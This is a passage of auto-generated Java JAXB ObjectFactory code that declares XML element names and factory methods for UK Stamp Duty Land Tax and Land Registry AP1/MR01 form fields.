_SDLTSDLT2AP1AP1PurchLender2LodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeDXExchange"); private final static QName _SDLTSDLT2AP1AP1PurchLender2Role1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2Role1"); private final static QName _SDLTSDLT2AP1AP1PurchLender2Role2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2Role2"); private final static QName _SDLTAP1AP1LeaseType_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_LeaseType"); private final static QName _SDLTAP1AP1LandlordTitle_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_LandlordTitle"); private final static QName _SDLTAP1AP1LandlordTitle2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_LandlordTitle2"); private final static QName _SDLTAP1AP1LandlordTitle3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_LandlordTitle3"); private final static QName _SDLTAP1AP1LandlordTitle4_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_LandlordTitle4"); private final static QName _SDLTAP1AP1TenantTitle_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_TenantTitle"); private final static QName _SDLTAP1AP1PropertyWholeOrPart_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PropertyWholeOrPart"); private final static QName _SDLTAP1AP1IsVendor2Represented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendor2Represented"); private final static QName _SDLTAP1AP1Vendor2RepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2RepresentedBy"); private final static QName _SDLTAP1AP1VendorAgent2Name_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2Name"); private final static QName _SDLTAP1AP1IsPurchAgent1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchAgent1"); private final static QName _SDLTAP1AP1PurchAgent2Name_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2Name"); private final static QName _SDLTAP1AP1IsPurchaser2Service_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchaser2Service"); private final static QName _SDLTAP1AP1Purchaser2ServiceEmail_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceEmail"); private final static QName _SDLTAP1AP1Purchaser2ServiceHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceHouseNo"); private final static QName _SDLTAP1AP1Purchaser2ServiceHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceHouseNo2"); private final static QName _SDLTAP1AP1Purchaser2ServiceAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceAddress1"); private final static QName _SDLTAP1AP1Purchaser2ServiceAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceAddress2"); private final static QName _SDLTAP1AP1Purchaser2ServiceAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceAddress3"); private final static QName _SDLTAP1AP1Purchaser2ServicePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServicePostcode"); private final static QName _SDLTAP1AP1Purchaser2ServiceDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceDXNumber"); private final static QName _SDLTAP1AP1Purchaser2ServiceDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purchaser2ServiceDXExchange"); private final static QName _SDLTAP1AP1IsPurch2Lender_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurch2Lender"); private final static QName _SDLTAP1AP1Purch2LenderName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderName"); private final static QName _SDLTAP1AP1Purch2LenderMDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderMDCode"); private final static QName _SDLTAP1AP1Purch2LenderChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderChargeDate"); private final static QName _SDLTAP1AP1IsPurch2LenderRepresented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurch2LenderRepresented"); private final static QName _SDLTAP1AP1Purch2LenderRepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderRepresentedBy"); private final static QName _SDLTAP1AP1Purch2LenderLodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeName"); private final static QName _SDLTAP1AP1Purch2LenderLodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeHouseNo"); private final static QName _SDLTAP1AP1Purch2LenderLodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeHouseNo2"); private final static QName _SDLTAP1AP1Purch2LenderLodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeAddress1"); private final static QName _SDLTAP1AP1Purch2LenderLodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeAddress2"); private final static QName _SDLTAP1AP1Purch2LenderLodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeAddress3"); private final static QName _SDLTAP1AP1Purch2LenderLodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgePostcode"); private final static QName _SDLTAP1AP1Purch2LenderLodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeDXNumber"); private final static QName _SDLTAP1AP1Purch2LenderLodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderLodgeDXExchange"); private final static QName _SDLTAP1AP1VendorAgent2HouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2HouseNo"); private final static QName _SDLTAP1AP1VendorAgent2HouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2HouseNo2"); private final static QName _SDLTAP1AP1VendorAgent2Address1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2Address1"); private final static QName _SDLTAP1AP1VendorAgent2Address2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2Address2"); private final static QName _SDLTAP1AP1VendorAgent2Address3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2Address3"); private final static QName _SDLTAP1AP1VendorAgent2Postcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2Postcode"); private final static QName _SDLTAP1AP1VendorAgent2DXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2DXNumber"); private final static QName _SDLTAP1AP1VendorAgent2DXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgent2DXExchange"); private final static QName _SDLTAP1AP1IsPurch2Represented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurch2Represented"); private final static QName _SDLTAP1AP1Purch2RepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2RepresentedBy"); private final static QName _SDLTAP1AP1PurchAgent2HouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2HouseNo"); private final static QName _SDLTAP1AP1PurchAgent2HouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2HouseNo2"); private final static QName _SDLTAP1AP1PurchAgent2Address1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2Address1"); private final static QName _SDLTAP1AP1PurchAgent2Address2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2Address2"); private final static QName _SDLTAP1AP1PurchAgent2Address3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2Address3"); private final static QName _SDLTAP1AP1PurchAgent2Postcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2Postcode"); private final static QName _SDLTAP1AP1PurchAgent2DXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2DXNumber"); private final static QName _SDLTAP1AP1PurchAgent2DXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgent2DXExchange"); private final static QName _SDLTAP1AP1PurchRole1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchRole1"); private final static QName _SDLTAP1AP1PurchRole2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchRole2"); private final static QName _SDLTAP1AP1Purch2Role1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Role1"); private final static QName _SDLTAP1AP1Purch2Role2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Role2"); private final static QName _SDLTAP1AP1VendorRole1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorRole1"); private final static QName _SDLTAP1AP1VendorRole2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorRole2"); private final static QName _SDLTAP1AP1Vendor2Role1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2Role1"); private final static QName _SDLTAP1AP1Vendor2Role2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2Role2"); private final static QName _SDLTAP1AP1Purch2LenderRole1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderRole1"); private final static QName _SDLTAP1AP1Purch2LenderRole2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2LenderRole2"); private final static QName _SDLTAP1AP1Purch2ServiceAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2ServiceAddress1"); private final static QName _SDLTAP1AP1Purch2ServiceAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2ServiceAddress2"); private final static QName _SDLTAP1AP1Purch2ServiceAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2ServiceAddress3"); private final static QName _SDLTAP1AP1IsVendorMortgage_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendorMortgage"); private final static QName _SDLTAP1AP1IsVendor2Lender_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendor2Lender"); private final static QName _SDLTAP1AP1Vendor2LenderName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderName"); private final static QName _SDLTAP1AP1Vendor2LenderMDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderMDCode"); private final static QName _SDLTAP1AP1Vendor2LenderChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderChargeDate"); private final static QName _SDLTAP1AP1IsVendor2LenderRepresented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendor2LenderRepresented"); private final static QName _SDLTAP1AP1Vendor2LenderRepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderRepresentedBy"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeName"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeHouseNo"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeHouseNo2"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeAddress1"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeAddress2"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeAddress3"); private final static QName _SDLTAP1AP1Vendor2LenderLodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgePostcode"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeDXNumber"); private final static QName _SDLTAP1AP1Vendor2LenderLodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderLodgeDXExchange"); private final static QName _SDLTAP1AP1Vendor2LenderRole1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderRole1"); private final static QName _SDLTAP1AP1Vendor2LenderRole2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Vendor2LenderRole2"); private final static QName _SDLTAP1AP1IsPurch2Lender2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurch2Lender2"); private final static QName _SDLTAP1AP1Purch2Lender2Name_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2Name"); private final static QName _SDLTAP1AP1Purch2Lender2MDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2MDCode"); private final static QName _SDLTAP1AP1Purch2Lender2ChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2ChargeDate"); private final static QName _SDLTAP1AP1IsPurch2Lender2Represented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurch2Lender2Represented"); private final static QName _SDLTAP1AP1Purch2Lender2RepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2RepresentedBy"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeName"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeHouseNo"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeHouseNo2"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeAddress1"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeAddress2"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeAddress3"); private final static QName _SDLTAP1AP1Purch2Lender2LodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgePostcode"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeDXNumber"); private final static QName _SDLTAP1AP1Purch2Lender2LodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2LodgeDXExchange"); private final static QName _SDLTAP1AP1Purch2Lender2Role1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2Role1"); private final static QName _SDLTAP1AP1Purch2Lender2Role2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Purch2Lender2Role2"); private final static QName _SDLTAP1MR01CompanyPrefix_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_CompanyPrefix"); private final static QName _SDLTAP1MR01CompanyNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_CompanyNumber"); private final static QName _SDLTAP1MR01CompanyName_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_CompanyName"); private final static QName _SDLTAP1MR01ChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_ChargeDate"); private final static QName _SDLTAP1MR01NameEntitled1_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_NameEntitled1"); private final static QName _SDLTAP1MR01NameEntitled2_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_NameEntitled2"); private final static QName _SDLTAP1MR01NameEntitled3_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_NameEntitled3"); private final static QName _SDLTAP1MR01IncludesOtherCharge_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_IncludesOtherCharge"); private final static QName _SDLTAP1MR01FloatingCharge_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_FloatingCharge"); private final static QName _SDLTAP1MR01NegativeCharge_QNAME = new QName("http://sdlt.co.uk/SDLT", "MR01_NegativeCharge"); /** * Create a new ObjectFactory that can be used to create new instances of schema derived classes for package: com.redmonkeysoftware.sdlt.model.request.sdlt * */ public ObjectFactory() { } /** * Create an instance of {@link SDLT } * */ public SDLT createSDLT() { return new SDLT(); } /** * Create an instance of {@link SDLT.SDLT2 } * */ public SDLT.SDLT2 createSDLTSDLT2() { return new SDLT.SDLT2(); } /** * Create an instance of {@link StringType } * */ public StringType createStringType() { return new StringType(); } /** * Create an instance of {@link BooleanType } * */ public BooleanType createBooleanType() { return new BooleanType(); } /** * Create an instance of {@link IntegerType } * */ public IntegerType createIntegerType() { return new IntegerType(); } /** * Create an instance of {@link DecimalType } * */ public DecimalType createDecimalType() { return new DecimalType(); } /** * Create an instance of {@link DateType } * */ public DateType createDateType() { return new DateType(); } /** * Create an instance of {@link DateTimeType } * */ public DateTimeType createDateTimeType() { return new DateTimeType(); } /** * Create an instance of {@link EnumPropertyType } * */ public EnumPropertyType createEnumPropertyType() { return new EnumPropertyType(); } /** * Create an instance of {@link EnumTransactionType } * */ public EnumTransactionType createEnumTransactionType() { return new EnumTransactionType(); } /** * Create an instance of {@link EnumInterestType } * */ public EnumInterestType createEnumInterestType() { return new EnumInterestType(); } /** * Create an instance of {@link EnumInterest2Type } * */ public EnumInterest2Type createEnumInterest2Type() { return new EnumInterest2Type(); } /** * Create an instance of {@link TaxPaymentMethodType } * */ public TaxPaymentMethodType createTaxPaymentMethodType() { return new TaxPaymentMethodType(); } /** * Create an instance of {@link LeaseType } * */ public LeaseType createLeaseType() { return new LeaseType(); } /** * Create an instance of {@link ConsiderationCodeType } * */ public ConsiderationCodeType createConsiderationCodeType() { return new ConsiderationCodeType(); } /** * Create an instance of {@link SDLT.AP1 } * */ public SDLT.AP1 createSDLTAP1() { return new SDLT.AP1(); } /** * Create an instance of {@link SDLT.SDLT3 } * */ public SDLT.SDLT3 createSDLTSDLT3() { return new SDLT.SDLT3(); } /** * Create an instance of {@link SDLT.SDLT4 } * */ public SDLT.SDLT4 createSDLTSDLT4() { return new SDLT.SDLT4(); } /** * Create an instance of {@link SDLT.SDLT2 .AP1 } * */ public SDLT.SDLT2 .AP1 createSDLTSDLT2AP1() { return new SDLT.SDLT2 .AP1(); } /** * Create an instance of {@link JAXBElement }{@code <}{@link SDLT }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link SDLT }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT") public JAXBElement<SDLT> createSDLT(SDLT value) { return new JAXBElement<SDLT>(_SDLT_QNAME, SDLT.class, null, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_ID", scope = SDLT.class) public JAXBElement<StringType> createSDLTFID(StringType value) { return new JAXBElement<StringType>(_SDLTFID_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_Ref", scope = SDLT.class) public JAXBElement<StringType> createSDLTFRef(StringType value) { return new JAXBElement<StringType>(_SDLTFRef_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_DateCreated", scope = SDLT.class) public JAXBElement<DateTimeType> createSDLTFDateCreated(DateTimeType value) { return new JAXBElement<DateTimeType>(_SDLTFDateCreated_QNAME, DateTimeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_UserNotes", scope = SDLT.class) public JAXBElement<StringType> createSDLTFUserNotes(StringType value) { return new JAXBElement<StringType>(_SDLTFUserNotes_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_FTBExemptionYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTFFTBExemptionYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTFFTBExemptionYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_ClosedOffYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTFClosedOffYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTFClosedOffYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_StampDutyPaidYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTFStampDutyPaidYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTFStampDutyPaidYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_ChequeNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTFChequeNumber(StringType value) { return new JAXBElement<StringType>(_SDLTFChequeNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_CountryCode", scope = SDLT.class) public JAXBElement<StringType> createSDLTFCountryCode(StringType value) { return new JAXBElement<StringType>(_SDLTFCountryCode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_Confidential", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTFConfidential(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTFConfidential_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_UserID", scope = SDLT.class) public JAXBElement<StringType> createSDLTFUserID(StringType value) { return new JAXBElement<StringType>(_SDLTFUserID_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_UserIDs", scope = SDLT.class) public JAXBElement<StringType> createSDLTFUserIDs(StringType value) { return new JAXBElement<StringType>(_SDLTFUserIDs_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_UTRN", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTUTRN(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTUTRN_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_IRMark", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTIRMark(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTIRMark_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_SubmissionStatus", scope = SDLT.class) public JAXBElement<StringType> createSDLTFSubmissionStatus(StringType value) { return new JAXBElement<StringType>(_SDLTFSubmissionStatus_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_SubmissionInfo", scope = SDLT.class) public JAXBElement<StringType> createSDLTFSubmissionInfo(StringType value) { return new JAXBElement<StringType>(_SDLTFSubmissionInfo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_SubmissionDate", scope = SDLT.class) public JAXBElement<DateTimeType> createSDLTFSubmissionDate(DateTimeType value) { return new JAXBElement<DateTimeType>(_SDLTFSubmissionDate_QNAME, DateTimeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link DateTimeType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_ReturnDate", scope = SDLT.class) public JAXBElement<DateTimeType> createSDLTFReturnDate(DateTimeType value) { return new JAXBElement<DateTimeType>(_SDLTFReturnDate_QNAME, DateTimeType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "F_SDLTID", scope = SDLT.class) public JAXBElement<StringType> createSDLTFSDLTID(StringType value) { return new JAXBElement<StringType>(_SDLTFSDLTID_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PropertyTypeCode", scope = SDLT.class) public JAXBElement<EnumPropertyType> createSDLTSDLTPropertyTypeCode(EnumPropertyType value) { return new JAXBElement<EnumPropertyType>(_SDLTSDLTPropertyTypeCode_QNAME, EnumPropertyType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumTransactionType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumTransactionType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TransactionDescriptionCode", scope = SDLT.class) public JAXBElement<EnumTransactionType> createSDLTSDLTTransactionDescriptionCode(EnumTransactionType value) { return new JAXBElement<EnumTransactionType>(_SDLTSDLTTransactionDescriptionCode_QNAME, EnumTransactionType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_InterestCreatedCode", scope = SDLT.class) public JAXBElement<EnumInterestType> createSDLTSDLTInterestCreatedCode(EnumInterestType value) { return new JAXBElement<EnumInterestType>(_SDLTSDLTInterestCreatedCode_QNAME, 